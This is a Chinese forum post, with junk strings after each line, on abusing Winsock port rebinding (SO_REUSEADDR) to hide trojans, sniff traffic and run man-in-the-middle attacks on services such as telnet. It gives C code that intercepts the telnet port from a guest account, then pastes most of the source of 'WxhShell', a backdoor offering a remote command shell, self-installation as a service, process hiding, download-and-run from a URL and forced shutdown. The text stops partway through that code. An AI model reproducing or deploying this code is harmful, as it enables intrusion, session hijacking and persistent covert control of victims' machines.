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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <n~.X<6V'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =-GxJ PL  
~Jsu"kr  
  saddr.sin_family = AF_INET; 88[u^aC  
Q!=`|X|:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F|.tn`j]U  
60A!Gob  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y x#ub-A8  
ev+H{5W8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h?B1Emlq  
!?+0O]`}  
  这意味着什么?意味着可以进行如下的攻击: Xc" %-  
<6,,:=#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h>cjRH?e  
cT/mi": 8{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %0}}Qt  
?P>4H0@I+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u#^l9/tl  
iPWr-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,mi7WW9  
Mk973 'K'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9h)8Mq+M  
F!/-2u5gF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *HGhm04F{  
v+79#qWK|n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yuJ>xsM  
' ;nG4+K  
  #include ;E.f%   
  #include n$7*L9)(C  
  #include e m)%U  
  #include    )flm3G2u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U,6sR  
  int main() ,`YBTU  
  { YN<vOv  
  WORD wVersionRequested; !dh:jPpKq  
  DWORD ret; 5=<KA   
  WSADATA wsaData; ~$j;@ 4  
  BOOL val; hmG8 {h/  
  SOCKADDR_IN saddr; ~ QohP`_  
  SOCKADDR_IN scaddr; 5ZH3}B^L$  
  int err; Y{#*;p*I  
  SOCKET s; 34k>O  
  SOCKET sc; $9r4MMs{$  
  int caddsize; % a.T@E  
  HANDLE mt; kZrc^  
  DWORD tid;   PN<Vqt W  
  wVersionRequested = MAKEWORD( 2, 2 ); EfpMzD7/(  
  err = WSAStartup( wVersionRequested, &wsaData ); Ij =NcP  
  if ( err != 0 ) { XIZN9/;  
  printf("error!WSAStartup failed!\n"); *o:J 4'  
  return -1; +_bxza(ma{  
  } JEWc{)4QD  
  saddr.sin_family = AF_INET; aot2F60J,  
   @V5i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (&r` l&0  
[UC_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W(4$.uZ)  
  saddr.sin_port = htons(23); g.%} +5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s3Zt)xQ3  
  { cjO %X  
  printf("error!socket failed!\n"); Y`4 LMK[]  
  return -1; J=: \b  
  } I^u~r.  
  val = TRUE; Kr1Y3[iNv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oz,.gP%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Buh}+n2]5  
  { `^'fS@VA  
  printf("error!setsockopt failed!\n"); UQ7]hX9  
  return -1; In1n.oRFn^  
  } )s, t BU+N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ST?Rl@4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2cIKph  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5k Q@]n:<k  
yqL"YD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Wq5}LO)  
  { /^\E:(RH  
  ret=GetLastError(); <-n^h~,4  
  printf("error!bind failed!\n"); TBO g.y]  
  return -1; r%iFsV_  
  } FPF$~ sX  
  listen(s,2); /3SEu(d!  
  while(1) N!wuBRWR  
  { _`^AgRE  
  caddsize = sizeof(scaddr); pnz:<V"Y(  
  //接受连接请求 :FH&#Eq~4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Is<XMR|{  
  if(sc!=INVALID_SOCKET) j%w^8}U>G  
  { AJ& j|/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *V\.6,^v  
  if(mt==NULL) EU|IzUjFj|  
  { Ml{ ]{n  
  printf("Thread Creat Failed!\n"); ?nbu`K6T  
  break; 2fu<s^9dh  
  } :b %2qBv  
  } $0 vT_  
  CloseHandle(mt); h!|Uj  
  } r<:d+5"  
  closesocket(s); uP r!;'J=  
  WSACleanup(); U$+,|\9  
  return 0; ;s3\Z^h4kd  
  }   gCiM\Qx  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1j op;{,^  
  { vyJ8" #]qY  
  SOCKET ss = (SOCKET)lpParam; \O;/wf0Hg  
  SOCKET sc; : #?_4D!r  
  unsigned char buf[4096]; |&W4Dk n  
  SOCKADDR_IN saddr; pOn&D  
  long num; hxM{}}.E  
  DWORD val; b)e;Q5Z(.  
  DWORD ret; zp}pS2DU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]adgOlM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ry=8Oq&[~  
  saddr.sin_family = AF_INET; s2|.LmC3|B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S1Od&v[R  
  saddr.sin_port = htons(23); K?! W9lUq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _E'}8.#{  
  { ?a% F3B  
  printf("error!socket failed!\n"); cHT\sJo`l  
  return -1; DbFe;3  
  } 6jgP/~hP>N  
  val = 100; "9QZX[J|*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ert={"Q  
  { !uIY,  
  ret = GetLastError(); 9*K-d'm  
  return -1; a@|H6:|  
  }  ,Zb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6D2ot&5WW  
  { TlkhI  
  ret = GetLastError(); .[1 f$  
  return -1; D&ua A-;s  
  } [M%? [E}>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &oHr]=xA  
  { a:UkVK]MP  
  printf("error!socket connect failed!\n"); r4K9W9 0  
  closesocket(sc); !9KDdU  
  closesocket(ss); W#NZnxOX"  
  return -1; \#Jq%nd  
  } p_&B+ <z  
  while(1) x7<l*WQ  
  { sZr \mQ~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }[UH1+`L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K\;4;6 g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7.ein:M|CB  
  num = recv(ss,buf,4096,0); V59!}kel1%  
  if(num>0) ED79a:  
  send(sc,buf,num,0); U!c+i#:t  
  else if(num==0) -.M J3  
  break; oi,KA  
  num = recv(sc,buf,4096,0);  1hi, &h  
  if(num>0) glU9A39qx?  
  send(ss,buf,num,0); ^AJ 2Y_}v  
  else if(num==0) '/ Hoq  
  break; x"R F[ d  
  } ![r)KE=v8I  
  closesocket(ss); 0)b1'xt',  
  closesocket(sc); "9aFA(H6w  
  return 0 ; er-0i L@  
  } H!X*29nX  
cl]W]^q-Cx  
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========================================================== |;)_-=L0P  
>yn]h4M  
下边附上一个代码,,WXhSHELL v@yqTZ  
c!wRq4  
========================================================== fS|e{!iI"  
dJnKa]X  
#include "stdafx.h" ~aQR_S  
P, l (4  
#include <stdio.h> Vh?vD:|  
#include <string.h> =EA @  
#include <windows.h> {Ke IYjE  
#include <winsock2.h> +$(y2F7|u-  
#include <winsvc.h> qM26:kB{  
#include <urlmon.h> Pp69|lxV=k  
.*oL@iX  
#pragma comment (lib, "Ws2_32.lib") >.od(Fh{l|  
#pragma comment (lib, "urlmon.lib") 4xalm  
W=293mME  
#define MAX_USER   100 // 最大客户端连接数 Ax~ i`  
#define BUF_SOCK   200 // sock buffer 0]'  2i  
#define KEY_BUFF   255 // 输入 buffer DA>nYj-s  
piIz ff  
#define REBOOT     0   // 重启 >d]-X]  
#define SHUTDOWN   1   // 关机 MMET^SO  
a`^$xOK,  
#define DEF_PORT   5000 // 监听端口 n[K%Xs)  
!.O[@A\.-  
#define REG_LEN     16   // 注册表键长度 K,|3?CjS  
#define SVC_LEN     80   // NT服务名长度 J>#yA0QD2  
c?c\6*O  
// 从dll定义API _4SZ9yu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); # .(f7~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lV 4TFt ,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7SYe:^Dx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2h*aWBLk  
)T gfd5B  
// wxhshell配置信息 4h--x~ @  
struct WSCFG { 04v ~ K  
  int ws_port;         // 监听端口 VZ`YbY  
  char ws_passstr[REG_LEN]; // 口令 tS3&&t  
  int ws_autoins;       // 安装标记, 1=yes 0=no AT3HH QD  
  char ws_regname[REG_LEN]; // 注册表键名 g5Io=e@s  
  char ws_svcname[REG_LEN]; // 服务名 !- QB>`7$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }{:}K<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /`aPV"$M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t4:/qy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '" &*7)+g*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "oZ_1qi<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <^{(?*  
/=9dX; #  
}; KV&6v`K/N  
F 8sOc&L  
// default Wxhshell configuration Wrp+B[ {r\  
struct WSCFG wscfg={DEF_PORT, r]D>p&4  
    "xuhuanlingzhe", d`$w3Hy  
    1, +cmi?~KS*  
    "Wxhshell", }.9a!/@Aj  
    "Wxhshell", \vV]fX   
            "WxhShell Service", u 6l)s0Q  
    "Wrsky Windows CmdShell Service", xnWezO_  
    "Please Input Your Password: ", MwSfuP  
  1, `VGw5o  
  "http://www.wrsky.com/wxhshell.exe", Th\T$T`X$  
  "Wxhshell.exe" '4u/g  
    };  g;AW  
d*k5h<jM  
// 消息定义模块 `uusUw-Gf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z+wegF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c>/7E-T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lAC "7 Z?F  
char *msg_ws_ext="\n\rExit."; j^U"GprA  
char *msg_ws_end="\n\rQuit."; tIod=a)  
char *msg_ws_boot="\n\rReboot..."; $;=?[Cn  
char *msg_ws_poff="\n\rShutdown..."; ?^7X2 u$nm  
char *msg_ws_down="\n\rSave to "; Gkfzb>_V]  
~/aCzx~  
char *msg_ws_err="\n\rErr!"; j)iUg03>/4  
char *msg_ws_ok="\n\rOK!"; +CSR!  
M($GZ~ b%A  
char ExeFile[MAX_PATH]; 0Db=/sJ>  
int nUser = 0; HEa7!h[a'  
HANDLE handles[MAX_USER]; gC kR$.-E  
int OsIsNt; &%/T4$'+Y+  
O6b+eS  
SERVICE_STATUS       serviceStatus; FrLv%tK|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d >zC[]1  
""N~##)8  
// 函数声明 t*Z5{   
int Install(void); b~)2`l  
int Uninstall(void); E|_8#xvb  
int DownloadFile(char *sURL, SOCKET wsh); a7u*d`3X=  
int Boot(int flag); z}$.A9yn  
void HideProc(void); +`B^D  
int GetOsVer(void); !a!4^zqp  
int Wxhshell(SOCKET wsl);  eBmHb\  
void TalkWithClient(void *cs); RK$(  
int CmdShell(SOCKET sock); M80O;0N%A  
int StartFromService(void); 7aPA+gA/  
int StartWxhshell(LPSTR lpCmdLine); :h3U^  
<)sL8G9Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *(]ZdB_2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LZs'hA<L  
oGg<s3;UND  
// 数据结构和表定义 ]E DC s?,  
SERVICE_TABLE_ENTRY DispatchTable[] = QpoC-4F  
{ x6Gl|e[jv  
{wscfg.ws_svcname, NTServiceMain}, Tl]yl$  
{NULL, NULL} w6Mv%ZO_  
}; 3tkCmB  
&l_}yf"v  
// 自我安装 4,Uqcw?!F'  
int Install(void) fN<Y3^i"  
{ N0\<B-8+,>  
  char svExeFile[MAX_PATH]; b^}U^2S%  
  HKEY key; /"~UGn]R  
  strcpy(svExeFile,ExeFile); Q:y'G9b  
"<)Jso|  
// 如果是win9x系统,修改注册表设为自启动 o^owv(  
if(!OsIsNt) { m&(qr5>b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pbWjTI$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jt*B0'Sa  
  RegCloseKey(key);  i?eVi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %hH> %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $ZB`4!JxG  
  RegCloseKey(key); ZU z7h^3@  
  return 0; C,LosAd  
    } NB.'>Sar  
  } \,v+ejhw  
} QJjk#*?,|  
else { TK~KM  
Co=Bq{GY  
// 如果是NT以上系统,安装为系统服务 u'DpZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^7;s4q  
if (schSCManager!=0) $2}%3{<j  
{ :c8d([)$  
  SC_HANDLE schService = CreateService a=9QwEZ  
  ( ,]n~j-X  
  schSCManager, 0&2`)W?9  
  wscfg.ws_svcname, %yl17:h#  
  wscfg.ws_svcdisp, A McZm0c`  
  SERVICE_ALL_ACCESS, a <F2]H=J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `}bvbvmA  
  SERVICE_AUTO_START, <nN# K{AH  
  SERVICE_ERROR_NORMAL, "o_'q@.}  
  svExeFile, 6'<[QoW];  
  NULL, #<u;.'R  
  NULL, Ra H1aS(  
  NULL, 6mIK[Qnp  
  NULL, PqF&[M<)  
  NULL P6'Se'f8  
  ); qTMY]=(  
  if (schService!=0) &"J;  
  { wg\ p&avvb  
  CloseServiceHandle(schService); H5:f&m  
  CloseServiceHandle(schSCManager); k6o8'6wN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?Drq!?3PDc  
  strcat(svExeFile,wscfg.ws_svcname); Ve)BF1YG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M,bs`amz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vEGI  
  RegCloseKey(key); 9zIqSjos"  
  return 0; |z:4T%ES  
    } {c*5 )x!  
  } CHD.b%_|  
  CloseServiceHandle(schSCManager); L2~'Z'q  
} T"gk^.  
} nf1 `)tXG  
P$*Ngt  
return 1; Sw5-^2x0'  
} B_b5&M@  
[8[<4~{  
// 自我卸载 +PKsiUJ|  
int Uninstall(void) Y| ch ;  
{ 1Ax;|.KQH  
  HKEY key; *0Fz." v  
_u~0t`f~  
if(!OsIsNt) { 've[Mx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8~TKiR5  
  RegDeleteValue(key,wscfg.ws_regname); . sFN[>)  
  RegCloseKey(key); ha 2=O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %:;g|PC  
  RegDeleteValue(key,wscfg.ws_regname); P*VZ$bUe5@  
  RegCloseKey(key); zZ<*  
  return 0; ~vM99hW  
  } }@tgc?C D  
} jh`[ Y7RJO  
} uhp.Yv@c  
else { ?.H]Y&XF  
={N1j<%fh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .V3e>8gw3  
if (schSCManager!=0) \^RKb-6n  
{ U F*R1{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P~iZae  
  if (schService!=0) ',LC!^:~Nw  
  { ?#z<<FR  
  if(DeleteService(schService)!=0) { eR6vO5to  
  CloseServiceHandle(schService); <yBa5m@/  
  CloseServiceHandle(schSCManager); w&Gc#-B  
  return 0; }N$f=:iI  
  } EUQtl_h/H  
  CloseServiceHandle(schService); d)acWF\  
  } / !MKijI  
  CloseServiceHandle(schSCManager); =6Gn? /{  
} & 0WQF  
} V'MY+#  
yBIX<P)vE'  
return 1; yTZ o4c "  
} cF8X  
}^p<Y5{b  
// 从指定url下载文件 oM Z94 , 3  
int DownloadFile(char *sURL, SOCKET wsh) |\G^:V[.  
{ 1+XM1(|c`  
  HRESULT hr; cGdYfi  
char seps[]= "/"; yO!M$aOn/  
char *token; nbf/WOCk  
char *file; ]t`SCsoo  
char myURL[MAX_PATH]; gTU5r4xm~  
char myFILE[MAX_PATH]; B.~] 7H5"(  
; D/6e6  
strcpy(myURL,sURL); dl6U]v=  
  token=strtok(myURL,seps); dt+r P%  
  while(token!=NULL) <'SS IMr  
  { %9Z0\ a)[  
    file=token; kw]?/s`  
  token=strtok(NULL,seps); Z[ (d7  
  } NVsaV;u  
_*Z3,*~"X  
GetCurrentDirectory(MAX_PATH,myFILE); e6J^J&`|4  
strcat(myFILE, "\\"); 7Zd g314  
strcat(myFILE, file); -57~7 <N  
  send(wsh,myFILE,strlen(myFILE),0); 9:-7.^`P  
send(wsh,"...",3,0); \]5I atli  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /sT?p=[.  
  if(hr==S_OK) ctLNzJes%  
return 0; f% )9!qeW  
else BK6 X)1R  
return 1; 5\#I4\  
>0<n%V#s:r  
} 5Pn.c!  
%DXBl:!Y`  
// 系统电源模块 A8Fe@$<#8  
int Boot(int flag) J@6j^U  
{ BI%XF 9{  
  HANDLE hToken; #u8#< ,w  
  TOKEN_PRIVILEGES tkp; 9q_{_%G%  
=W:=}ODD  
  if(OsIsNt) { ?6`B;_m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kROIVO1|`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {ilz[LM8(  
    tkp.PrivilegeCount = 1; <r t$~}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +qC [X~\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ] S[?tn  
if(flag==REBOOT) { \U>&W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VwPoQ9pIS  
  return 0; "NGfT:HV  
} ]7S f)  
else { 8(L2w|+B<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NjOUe?BQ  
  return 0; R]&Csr#~  
} 6uFw+Ya#  
  } -bHlFNRm  
  else { /(51\RYkir  
if(flag==REBOOT) { dgoAaS2M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OoH-E.lp  
  return 0; sVw:d _ E  
} x;z=[eE  
else { *K;) ~@n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :=ek~s.UV  
  return 0; 51Y%"v t  
} 2HN*j~>i~  
} Bps%>P~.  
a{hc{  
return 1; Hxgc9Fis  
} Q+9:]Bt  
".(vR7u'  
// win9x进程隐藏模块 D_czUM  
void HideProc(void) \WE&5 9G  
{ ~U"m"zpLP  
&s vg<UZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bHv"!  
  if ( hKernel != NULL ) ?{B5gaU9F  
  { p8%qU>~+4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2*z~ 'i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uMZ~[S z  
    FreeLibrary(hKernel); <%S)6cw(3  
  } 3J &R os  
D^US2B  
return; _r{H)}9  
} <a @7's  
V@k+RniEO  
// 获取操作系统版本 .G!xcQ`?  
int GetOsVer(void) 6Uk+a=Ar  
{ 7` ;sX?R  
  OSVERSIONINFO winfo; W wPzm?30  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fP|[4 ku  
  GetVersionEx(&winfo); In96H`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'A7!@hVy  
  return 1; 8$\j| mN  
  else j2_j5Hgo  
  return 0; xS/W}-dPv  
} s!/lQo5/  
`M6"=)twu  
// 客户端句柄模块 >aO.a[AM  
int Wxhshell(SOCKET wsl)  c2M  
{ {&IB[Y6  
  SOCKET wsh; ;98b SR/  
  struct sockaddr_in client; o&E8<e  
  DWORD myID; eb\SpdM6  
S7f.^8  
  while(nUser<MAX_USER) e>Z&0lV:  
{ nWIZ0Nde'  
  int nSize=sizeof(client); rtJER?A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y|fD)zG_  
  if(wsh==INVALID_SOCKET) return 1; w_Slg&S  
)0exGx+:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'lA}E  
if(handles[nUser]==0) oR2?$KF   
  closesocket(wsh); {k_\1t(/  
else `K.C>68  
  nUser++; x'x5tg  
  } xj>P5\mW#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fe/;U=te  
.b3h?R*&  
  return 0; JVX)>2&$  
} h2Nt@  
jL\j$'KC  
// 关闭 socket 9,INyEyAL  
void CloseIt(SOCKET wsh) B\RAX#  
{ Zpkd8@g@  
closesocket(wsh); =eU=\td^  
nUser--; vYm:V:7Y2  
ExitThread(0); "@eGgQ  
} I0 ~'z f  
.h=n [`RB  
// 客户端请求句柄 1Z< ^8L<  
void TalkWithClient(void *cs) 8>e YM  
{ uS`}  
 O>]i?  
  SOCKET wsh=(SOCKET)cs; BJux5Nh  
  char pwd[SVC_LEN]; r{R<J?Y  
  char cmd[KEY_BUFF]; ?K[Y"*y2  
char chr[1]; j9 >[^t3U  
int i,j; Unb2D4&'  
Lxp}o7>K  
  while (nUser < MAX_USER) { GLtWo+g0  
{q)d  
if(wscfg.ws_passstr) { H_RfIX)X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iN Oj @3x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w<`0D)mQ  
  //ZeroMemory(pwd,KEY_BUFF); I2$DlEke  
      i=0; \ T#|<=  
  while(i<SVC_LEN) { +fXwbZ?p  
i#*[, P~  
  // 设置超时 uAA2G\3  
  fd_set FdRead; b_~XTWP$l  
  struct timeval TimeOut; `&D#P%  
  FD_ZERO(&FdRead); RBrb7D{  
  FD_SET(wsh,&FdRead); ] H !ru  
  TimeOut.tv_sec=8; 940:NOgm  
  TimeOut.tv_usec=0; DH?n~qKpC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _gqqPny4$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c1k[)O~  
;Yee0O!d4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !y b06Z\f  
  pwd=chr[0]; B8Fb$  
  if(chr[0]==0xd || chr[0]==0xa) { RD:G 9[  
  pwd=0; $^iio@SW{  
  break; w UxFE=ia  
  } q* R}yt5  
  i++; x8@ 4lxj  
    } `#ruZM066  
D;> 7y}\  
  // 如果是非法用户,关闭 socket 'z8FU~oU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t,f ec>.  
} 6AJk6 W^Z  
dBd7#V:}yV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )ovAGO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .b]s Q'  
"KP]3EyPc  
while(1) { >;MJm  
Q<V(#)*  
  ZeroMemory(cmd,KEY_BUFF); F9o7=5WAb  
/ rc[HbNg.  
      // 自动支持客户端 telnet标准   }dzdx "  
  j=0; @. -S(MNR  
  while(j<KEY_BUFF) { * |,N/e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^yPZ$Q  
  cmd[j]=chr[0]; !{^kH;*u  
  if(chr[0]==0xa || chr[0]==0xd) { IADHe\.  
  cmd[j]=0; 3Tu]-.  
  break; ;|vP|Xi  
  } 3Qe|'E,U  
  j++; {jO+N+Ez9  
    } F `o9GLxM}  
1GK.:s6.f  
  // 下载文件 /X_L>or  
  if(strstr(cmd,"http://")) { #Q!Xz2z2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z|E9}Il]  
  if(DownloadFile(cmd,wsh)) N5*Q nb8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4tCM 2it%  
  else Vr},+Rj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I*N"_uKU  
  } -NJpql{Cb  
  else { t/;0/ql\  
|qMG@  
    switch(cmd[0]) { I #1~CbR  
  i1uoYb?4(I  
  // 帮助 ni2#20L  
  case '?': { ~".@mubt1$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I.3~ctzu  
    break; V,rc&97  
  } 7zH2dqrj  
  // 安装 [bHm-X]  
  case 'i': { ~g=& wT11  
    if(Install()) @\&j3A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $"vz>SuB  
    else d2UidDU5qa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F NPu  
    break; f/J/tt  
    } ,7j8+p|},  
  // 卸载 G~5pMyOR  
  case 'r': { |2l-s 1|y  
    if(Uninstall()) -0CBMoe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); INr1bAe$  
    else teS>t!d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "/6#Z>y  
    break; 1k6asz^T  
    } OY{fxBb  
  // 显示 wxhshell 所在路径 ;"nO'wN:h  
  case 'p': { >"2jCR$/  
    char svExeFile[MAX_PATH]; i-wRwl4aEF  
    strcpy(svExeFile,"\n\r"); !-}Q{<2@W  
      strcat(svExeFile,ExeFile); "BSY1?k{  
        send(wsh,svExeFile,strlen(svExeFile),0); #<)[{+f[t  
    break; ht2Fi e  
    } Cw(e7K7&  
  // 重启 72Bc0Wg  
  case 'b': { et+lL"&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B9NUafK=  
    if(Boot(REBOOT)) X6 BIZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sR9$=91`  
    else { 3`reXms*{  
    closesocket(wsh); r[!~~yu/o  
    ExitThread(0);  )58O9b  
    } yb',nGl~  
    break; h7+"*fN  
    } Vx<{cHQQ  
  // 关机 ;9j ]P56  
  case 'd': { +=J $:/&U  
